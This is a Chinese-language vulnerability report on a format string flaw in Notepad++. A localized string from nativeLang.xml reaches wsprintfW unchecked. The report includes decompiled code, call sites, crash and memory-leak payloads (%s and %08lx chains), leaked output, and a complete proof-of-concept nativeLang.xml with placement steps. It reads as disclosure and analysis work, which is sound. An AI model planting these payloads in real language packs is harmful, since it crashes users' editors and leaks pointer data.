当搜索操作产生结果时,sub_1400916C0 通过从 nativeLang.xml 中检索本地化字符串并将其直接作为格式字符串传递给 wsprintfW 来格式化命中计数标签:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // 获取本地化字符串
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO:堆指针
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 是格式字符串
该字符串来源于 nativeLang.xml 中的 <find-result-hits> 属性,在数据流的任何环节均未经过验证:
nativeLang.xml
→ TinyXML 解析器 (读取 XML 属性,无内容验证)
→ NativeLangSpeaker (UTF-8 → UTF-16 转换,无验证)
→ sub_140099E60 ($INT_REPLACE$ 替换 — 格式说明符得以保留)
→ wsprintfW(buf, v38) (v38 被用作格式字符串参数,而非数据)
wsprintfW 仅以两个参数被调用 — 没有可变参数数据参数。v38 中的任何格式说明符都会从 x64 调用约定的参数槽(R8、R9、栈)中读取值,而这些位置包含残留的寄存器垃圾数据。
| 字段 | 值 |
|---|---|
| 函数 | sub_1400916C0(查找结果面板初始化器) |
| 汇点地址 | 0x140091E6D |
| 触发条件 | 任何产生结果的搜索(全部查找、在文件中查找、全部标记、全部替换) |
sub_1400916C0 从 FindResults WndProc(sub_140089BF0)中的四个位置被调用:
| 地址 | 触发条件 |
|---|---|
0x14008B63B | 在文件中查找 |
0x14008B72D | 在当前文档/所有文档中全部查找 |
0x14008B97E | 全部替换 |
%s(拒绝服务)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
每个 %s 都将一个垃圾寄存器或栈值解释为 WCHAR* 指针。第一个无效地址会立即触发访问冲突(STATUS_ACCESS_VIOLATION,0xC0000005)。在恶意文件被移除之前,Notepad++ 会在每次后续搜索时崩溃 — 可靠的一次性拒绝服务攻击。
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
栈和寄存器内容被作为 DWORD 值读取并格式化为十六进制,显示在查找结果面板标签中。实测观察到的输出:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
诸如 5852bb18 和 7b1052e0 之类的值是截断的 64 位指针片段。
wsprintfW(user32.dll)不支持 %n — 不存在任意写原语。其硬编码的 1024 字符输出限制与目标缓冲区大小完全一致,排除了堆缓冲区溢出的可能性。该漏洞被确认为拒绝服务 + 信息泄露。仅凭此格式字符串无法实现代码执行。
nativeLang.xml 默认不存在 — 英文版安装不受影响。当用户通过 设置 → 首选项 → 常规 → 本地化 选择非英语语言时,Notepad++ 会将相应文件写入:
| 版本 | 路径 |
|---|---|
| 安装版 | %APPDATA%\Notepad++\nativeLang.xml |
| 便携版 | <npp_directory>\nativeLang.xml |
在随附的 94 个本地化文件中,43 个包含 <find-result-hits> 元素。如果这些语言用户的 nativeLang.xml 被篡改 — 例如通过论坛或下载站点分发的恶意社区语言包 — 则他们容易受到攻击。攻击者可以为所有其他字符串包含合法的翻译,使该文件看起来正常。
将以下文件放置在 <npp_directory>\nativeLang.xml(便携版)或 %APPDATA%\Notepad++\nativeLang.xml(安装版),然后打开 Notepad++ 并执行任何产生结果的搜索(Ctrl+F → 在当前文档中全部查找)。
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
结果: Notepad++ 在 wsprintfW 中因访问冲突立即崩溃。
其他载荷变体位于 payloads/ 目录中。
0x14008B9FE| 全部标记 |